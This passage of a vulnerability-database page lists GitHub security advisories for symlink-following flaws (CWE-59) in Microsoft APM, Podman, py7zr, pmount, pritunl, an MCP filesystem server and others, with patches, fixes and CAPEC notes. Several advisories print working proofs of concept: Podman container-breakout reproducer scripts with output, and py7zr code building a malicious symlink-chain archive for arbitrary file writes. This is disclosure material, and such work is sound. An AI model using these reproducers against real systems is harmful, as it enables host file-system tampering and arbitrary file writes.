without human review.\n- A symlink target such as `/proc/self/environ` would resolve to the APM process environment at install time.\n\n## Why this is security-relevant and not intended behavior\n\nThis is not just \"a malicious package being malicious.\"\n\nThe codebase already contains the correct defense in `BaseIntegrator.find_files_by_glob()`, and that helper explicitly rejects symlinks, hardlinks, and containment escapes. `InstructionIntegrator` uses it. `PromptIntegrator` and `AgentIntegrator` do not.\n\nThe codebase also documents that preserving symlinks inside `apm_modules/` is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.\n\nThat architectural asymmetry makes this look like an implementation oversight, not intended behavior.\n\n## Recommended fix\n\nRoute both affected finders through the existing safe helper.\n\n```python\n# src/apm_cli/integration/prompt_integrator.py\ndef find_prompt_files(self, package_path: Path) -\u003e list[Path]:\n    return self.find_files_by_glob(\n        package_path, \"*.prompt.md\", subdirs=[\".apm/prompts\"]\n    )\n```\n\n```python\n# src/apm_cli/integration/agent_integrator.py\ndef find_agent_files(self, package_path: Path) -\u003e list[Path]:\n    files: list[Path] = []\n    files += self.find_files_by_glob(package_path, \"*.agent.md\")\n    files += self.find_files_by_glob(package_path, \"*.chatmode.md\")\n    files += self.find_files_by_glob(\n        package_path, \"*.agent.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.md\", subdirs=[\".apm/agents\"]\n    )\n    files += self.find_files_by_glob(\n        package_path, \"*.chatmode.md\", subdirs=[\".apm/chatmodes\"]\n    )\n    return files\n```\n\n### Optional defense in depth\n\n- In `copy_prompt`, `copy_agent`, `_write_codex_agent`, and `_write_windsurf_agent_skill`, explicitly raise on `source.is_symlink()` before reading.\n- Treat any symlink under a dependency\u0027s `.apm/` tree as a security finding during scanning.\n\n## Regression test idea\n\nAdd unit tests that create a fixture package with symlinks under `.apm/prompts/`, `.apm/agents/`, and `.apm/chatmodes/`, then assert that the symlink entries are filtered out before any read occurs.\n\nExample shape:\n\n```python\ndef test_symlink_under_apm_prompts_is_rejected(tmp_path):\n    pkg = tmp_path / \"pkg\"\n    (pkg / \".apm/prompts\").mkdir(parents=True)\n\n    sentinel = tmp_path / \"sentinel.txt\"\n    sentinel.write_text(\"REGRESSION-SENTINEL\")\n\n    (pkg / \".apm/prompts/leak.prompt.md\").symlink_to(sentinel)\n\n    result = PromptIntegrator().find_prompt_files(pkg)\n\n    assert all(not p.is_symlink() for p in result)\n    assert not any(p.name == \"leak.prompt.md\" for p in result)\n```\n\nA second test should mirror the same pattern for `AgentIntegrator.find_agent_files()`.",
  "id": "GHSA-q5pp-gvjg-h7v4",
  "modified": "2026-05-18T13:26:06Z",
  "published": "2026-05-18T13:26:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/security/advisories/GHSA-q5pp-gvjg-h7v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/commit/f85b9f54ad303159f9c448268eb7005c319fe02a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/apm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree"
}

GHSA-Q62V-8XFC-782R

Vulnerability from github – Published: 2022-05-17 05:50 – Updated: 2022-05-17 05:50
VLAI
Details

The make_lockdir_name function in policy.c in pmount 0.9.18 allow local users to overwrite arbitrary files via a symlink attack on a file in /var/lock/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-2192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-18T16:30:00Z",
    "severity": "LOW"
  },
  "details": "The make_lockdir_name function in policy.c in pmount 0.9.18 allow local users to overwrite arbitrary files via a symlink attack on a file in /var/lock/.",
  "id": "GHSA-q62v-8xfc-782r",
  "modified": "2022-05-17T05:50:08Z",
  "published": "2022-05-17T05:50:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2192"
    },
    {
      "type": "WEB",
      "url": "http://security.debian.org/pool/updates/main/p/pmount/pmount_0.9.18-2+lenny1.diff.gz"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2010/dsa-2063"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/40939"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/1520"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q63P-X3H7-V3P5

Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2023-01-31 21:30
VLAI
Details

A Symbolic Link (Symlink) Following vulnerability in the packaging of munge in SUSE SUSE Linux Enterprise Server 15; openSUSE Factory allowed local attackers to escalate privileges from user munge to root. This issue affects: SUSE SUSE Linux Enterprise Server 15 munge versions prior to 0.5.13-4.3.1. openSUSE Factory munge versions prior to 0.5.13-6.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-3691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Symbolic Link (Symlink) Following vulnerability in the packaging of munge in SUSE SUSE Linux Enterprise Server 15; openSUSE Factory allowed local attackers to escalate privileges from user munge to root. This issue affects: SUSE SUSE Linux Enterprise Server 15 munge versions prior to 0.5.13-4.3.1. openSUSE Factory munge versions prior to 0.5.13-6.1.",
  "id": "GHSA-q63p-x3h7-v3p5",
  "modified": "2023-01-31T21:30:19Z",
  "published": "2022-05-24T17:07:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3691"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1155075"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q66J-GJ7H-P9HM

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-06-03 00:00
VLAI
Details

Privilege escalation via arbitrary file write in pritunl electron client 1.0.1116.6 through v1.2.2550.20. Successful exploitation of the issue may allow an attacker to execute code on the effected system with root privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-19T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Privilege escalation via arbitrary file write in pritunl electron client 1.0.1116.6 through v1.2.2550.20. Successful exploitation of the issue may allow an attacker to execute code on the effected system with root privileges.",
  "id": "GHSA-q66j-gj7h-p9hm",
  "modified": "2022-06-03T00:00:38Z",
  "published": "2022-05-24T17:34:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pritunl/pritunl-client-electron/commit/89f8c997c6f93e724f68f76f7f47f8891d9acc2d"
    },
    {
      "type": "WEB",
      "url": "https://vkas-afk.github.io/vuln-disclosures"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q66Q-FX2P-7W4M

Vulnerability from github – Published: 2025-07-01 20:13 – Updated: 2025-07-02 18:56
VLAI
Summary
@modelcontextprotocol/server-filesystem allows for path validation bypass via prefix matching and symlink handling
Details

Versions of Filesystem prior to 0.6.3 & 2025.7.1 could allow access to unintended files via symlinks within allowed directories. Users are advised to upgrade to 2025.7.1 to resolve.

Thank you to Elad Beber (Cymulate) for reporting these issues.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@modelcontextprotocol/server-filesystem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@modelcontextprotocol/server-filesystem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.1.14"
            },
            {
              "fixed": "2025.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-01T20:13:56Z",
    "nvd_published_at": "2025-07-02T15:15:27Z",
    "severity": "HIGH"
  },
  "details": "Versions of Filesystem prior to 0.6.3 \u0026 2025.7.1 could allow access to unintended files via symlinks within allowed directories. Users are advised to upgrade to 2025.7.1 to resolve.\n\nThank you to Elad Beber (Cymulate) for reporting these issues.",
  "id": "GHSA-q66q-fx2p-7w4m",
  "modified": "2025-07-02T18:56:39Z",
  "published": "2025-07-01T20:13:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q66q-fx2p-7w4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/servers/commit/d00c60df9d74dba8a3bb13113f8904407cda594f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/servers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@modelcontextprotocol/server-filesystem allows for path validation bypass via prefix matching and symlink handling"
}

GHSA-Q6R4-3WMG-FWCQ

Vulnerability from github – Published: 2026-06-18 14:28 – Updated: 2026-06-18 14:28
VLAI
Summary
Podman: WORKDIR symlink traversal vulnerability
Details

Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

PoC

The reproducer script test1.bash demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.

The reproducer script test2.bash demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.

The reproducer script test2.bash shows that the working directory can be different from the breakout directory.

Reproducer test1.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Reproducer test2.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
    cd /0 && \
    ln -s 1/2/3 symlink1 && \
    mkdir -p /0/1/symlink2/${breakout_dirname} && \
    cd /0/1/symlink2/${breakout_dirname} && \
    ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Vulnerable:

podman 5.7.0 using Fedora CoreOS 43.20251120.3.0

root@localhost:~# bash test1.bash 
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash 
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT

Not vulnerable:

podman 5.7.1 using Fedora CoreOS 43.20260119.1.1

root@localhost:~# bash test1.bash 
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash 
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory

Credits

We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.7.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:28:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nRunning a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.\n\n### Patch\n\nhttps://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0\n\n### Details\n\nThis issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)\n\n### PoC\n\nThe reproducer script _test1.bash_ demonstrates the vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/var/BREAKOUT` as current working directory.\n\nThe reproducer script _test2.bash_ demonstrates the same vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/usr/local` as current working directory.\n\nThe reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.\n\nReproducer **test1.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat \u003e $dir/Containerfile \u003c\u003c \u0027EOF\u0027\nFROM docker.io/library/alpine\nRUN cd / \u0026\u0026 ln -s ../../../../../../../var symlink\nUSER 1234:1234\nWORKDIR /symlink/BREAKOUT\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\nReproducer **test2.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat \u003e $dir/Containerfile \u003c\u003c \u0027EOF\u0027\nFROM docker.io/library/alpine\nARG breakout_dirname=/var\nARG breakout_basename=BREAKOUT\nARG produce_pwd=/usr/local\nRUN mkdir -p /0/1/2/3 \u0026\u0026 \\\n    cd /0 \u0026\u0026 \\\n    ln -s 1/2/3 symlink1 \u0026\u0026 \\\n    mkdir -p /0/1/symlink2/${breakout_dirname} \u0026\u0026 \\\n    cd /0/1/symlink2/${breakout_dirname} \u0026\u0026 \\\n    ln -s ${produce_pwd} ${breakout_basename}\nRUN cd / \u0026\u0026 ln -s ../../../../../../.. symlink2\nUSER 1234:1234\nWORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\n\nVulnerable:\n\npodman 5.7.0 using Fedora CoreOS 43.20251120.3.0\n\n```\nroot@localhost:~# bash test1.bash \n38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80\ncurrent working directory: /var/BREAKOUT\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\nroot@localhost:~# rmdir /var/BREAKOUT/\nroot@localhost:~# bash test2.bash \nc3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9\ncurrent working directory: /usr/local\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\n```\n\nNot vulnerable:\n\npodman 5.7.1 using Fedora CoreOS 43.20260119.1.1\n\n```\nroot@localhost:~# bash test1.bash \n0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788\ncurrent working directory: /var/BREAKOUT\nls: cannot access \u0027/var/BREAKOUT\u0027: No such file or directory\nroot@localhost:~# bash test2.bash \n568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60\ncurrent working directory: /usr/local\nls: cannot access \u0027/var/BREAKOUT\u0027: No such file or directory\n```\n\n### Credits\n\nWe like to thank Erik Sj\u00f6lund (@eriksjolund) for reporting the security impact to us.",
  "id": "GHSA-q6r4-3wmg-fwcq",
  "modified": "2026-06-18T14:28:26Z",
  "published": "2026-06-18T14:28:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/podman-container-tools/podman"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Podman: WORKDIR symlink traversal vulnerability"
}

GHSA-Q6RC-2CGV-63H7

Vulnerability from github – Published: 2026-06-19 19:21 – Updated: 2026-06-19 19:21
VLAI
Summary
py7zr: Arbitrary File Write Vulnerability
Details

Summary

There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Details

The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.

image

PoC

Construct PoC Archive File

The following pseudo-code illustrates the vulnerable logic.

def create_sevenz_exp(output_dir: str):
    filename = "archive.7z"
    file_path = output_dir + filename
    with py7zr.SevenZipFile(file_path, 'w') as archive:
        archive.writestr("Some Text", "dir0/someFile.txt")
        add_symlink(archive, "dir1", "dir0/..")
        add_symlink(archive, "dir2", "dir1/..")
        add_symlink(archive, "dir3", "dir2/..")
        add_symlink(archive, "dir4", "dir3/..")
        add_symlink(archive, "dir5", "dir4/..")
        add_symlink(archive, "dir6", "dir5/..")
        add_symlink(archive, "dir7", "dir6/..")
        add_symlink(archive, "dir8", "dir7/..")
        add_symlink(archive, "myTmp", "dir8/tmp")
        archive.writestr("Malicious Text\n", "myTmp/poc.txt")

Unpack the archive

Use common decompression methods, then extract the archive.

import sys
import os
import py7zr

def extract_7z(seven_path, output_dir):
    os.makedirs(output_dir, exist_ok=True)
    with py7zr.SevenZipFile(seven_path, mode='r') as z:
        z.extractall(path=output_dir)
    print(f"Extracted '{seven_path}' to '{output_dir}'")

if __name__ == "__main__":
    seven_file = sys.argv[1]
    base_name = os.path.splitext(os.path.basename(seven_file))[0]
    output = base_name + "_sevenz_output"

    extract_7z(seven_file, output)

Impact

image

After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:21:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, \u0027w\u0027) as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode=\u0027r\u0027) as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted \u0027{seven_path}\u0027 to \u0027{output_dir}\u0027\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
  "id": "GHSA-q6rc-2cgv-63h7",
  "modified": "2026-06-19T19:21:57Z",
  "published": "2026-06-19T19:21:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "py7zr: Arbitrary File Write Vulnerability"
}

GHSA-Q78X-6FFP-9VHR

Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details

Improper privilege management in Windows WalletService allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "Improper privilege management in Windows WalletService allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-q78x-6ffp-9vhr",
  "modified": "2026-07-14T18:32:00Z",
  "published": "2026-07-14T18:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49176"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7FW-G378-R65G

Vulnerability from github – Published: 2025-04-18 18:31 – Updated: 2026-02-24 15:30
VLAI
Details

A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-18T18:15:43Z",
    "severity": "MODERATE"
  },
  "details": "A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability.",
  "id": "GHSA-q7fw-g378-r65g",
  "modified": "2026-02-24T15:30:27Z",
  "published": "2025-04-18T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1697"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_12269975-12269997-16/hpsbgn04008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

